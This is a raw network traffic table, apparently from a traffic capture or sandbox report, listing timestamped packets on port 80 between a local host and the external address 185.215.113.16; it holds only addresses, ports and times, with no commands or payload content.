Oct 31, 2024 20:52:46.598021984 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598033905 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598035097 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598069906 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598146915 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598157883 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598167896 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598179102 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598181009 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598190069 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598197937 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598201036 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598212004 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598222017 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598226070 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598233938 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598246098 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598268032 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598294973 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598304987 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598315001 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598326921 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598385096 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598396063 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598406076 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598414898 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598417044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598436117 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598449945 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598464012 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598469019 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598524094 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598535061 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598571062 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598617077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598628044 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598637104 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598648071 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598649025 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598668098 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598687887 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598697901 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598707914 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598720074 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598742962 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.598906994 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598917961 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598932981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.598958969 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599035025 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599045992 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599055052 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599071026 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599075079 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599097967 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599102020 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599112988 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599123955 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599134922 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599160910 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599329948 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599340916 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599350929 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599376917 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599515915 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599525928 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599535942 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599550962 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599555016 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599570990 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599627018 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599637985 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599745035 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599895000 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599926949 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599937916 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599937916 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.599957943 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.599976063 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600060940 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600073099 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600083113 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600095034 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600095987 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600128889 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600169897 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600181103 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600189924 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600202084 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600214005 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600215912 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600229979 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600255013 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600264072 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600274086 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600290060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600301027 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600307941 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600313902 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600323915 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600334883 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600342989 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600347042 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600358009 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600383997 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600644112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600656033 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600666046 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600677013 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600692034 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600718021 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600720882 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600730896 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600740910 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600753069 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600764036 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600789070 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600918055 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600929976 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600939035 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600949049 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600959063 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600961924 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600970030 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600981951 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.600991964 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.600991964 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601003885 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601006031 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.601035118 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.601057053 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601068020 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601083994 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601094961 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601104975 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.601105928 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601129055 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.601145983 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.601506948 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601548910 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601560116 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.601588011 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.646543980 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.647363901 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.671955109 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672002077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672049046 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672074080 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672086954 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672130108 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672144890 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672171116 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672214031 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672266960 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672278881 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672291040 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672324896 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672420025 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672430992 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672441006 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672451973 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672461987 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672466993 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672472954 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672482967 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672486067 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672493935 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672504902 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672512054 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672542095 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672561884 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672574997 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672584057 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672604084 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672616005 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672620058 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672626972 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672638893 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672648907 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672650099 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672660112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672672987 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672682047 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672704935 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672729015 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672744989 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672766924 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672817945 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672830105 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672840118 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672863007 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672888994 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.672986984 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.672997952 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673007965 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673018932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673022032 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.673029900 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673039913 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673051119 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673052073 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.673083067 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.673089981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673100948 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673100948 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.673116922 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.673141003 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689270020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689282894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689295053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689331055 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689372063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689385891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689397097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689410925 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689418077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689425945 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689430952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689470053 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689549923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689620018 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689630032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689657927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689666986 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689719915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689754009 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689770937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689784050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689795971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689807892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689815044 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689820051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689831972 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.689848900 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.689867973 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690013885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690059900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690071106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690113068 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690130949 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690185070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690196991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690207958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690222025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690229893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690254927 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690272093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690314054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690325975 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690346956 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690403938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690414906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690426111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690442085 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690449953 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690479040 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690639973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690650940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690661907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690674067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690674067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690702915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690851927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690871000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690881968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690908909 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.690979958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.690990925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691000938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691013098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691021919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691066027 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691190958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691201925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691211939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691226006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691226959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691251993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691262960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691279888 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691299915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691457033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691500902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691512108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691548109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691618919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691629887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691643000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691656113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691660881 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691688061 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691734076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691745043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691756010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691765070 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691766977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691780090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691791058 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691792011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691816092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691855907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691868067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691878080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691890001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.691890001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.691911936 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692044020 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692281961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692293882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692303896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692322969 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692341089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692348957 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692353010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692364931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692395926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692573071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692584038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692593098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692615986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692708969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692725897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692735910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692747116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692769051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692802906 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692851067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692868948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692881107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692888021 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692893028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692903996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692914963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692922115 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692928076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692939997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692950010 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692954063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.692969084 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.692982912 CET	49766	80	192.168.2.4	185.215.113.16
